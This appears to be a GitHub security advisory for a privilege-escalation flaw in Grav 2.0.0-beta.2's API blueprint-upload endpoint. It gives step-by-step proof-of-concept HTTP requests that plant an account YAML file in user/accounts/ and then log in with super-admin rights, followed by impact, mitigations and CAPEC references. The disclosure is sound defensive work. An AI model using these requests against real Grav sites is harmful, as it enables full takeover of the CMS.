Vulnerability from github – Published: 2026-05-06 21:19 – Updated: 2026-05-13 16:41Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anything
The server resolves the write target to the shared account directory:
user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: true
PoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
UPLOADER_TOKEN = <access_token from response>
Attachment:
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01

Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}
Attachment:
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}
Attachment:
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
- modify content
- alter configuration
- manage users
- install or update plugins/themes
- access system-level administration features
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
- the upload response returned
user/accounts/pwned.yaml - logging in as
pwnedsucceeded - the new account had
super_admin = true - privileged endpoints such as
/api/v1/system/infowere accessible

Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.
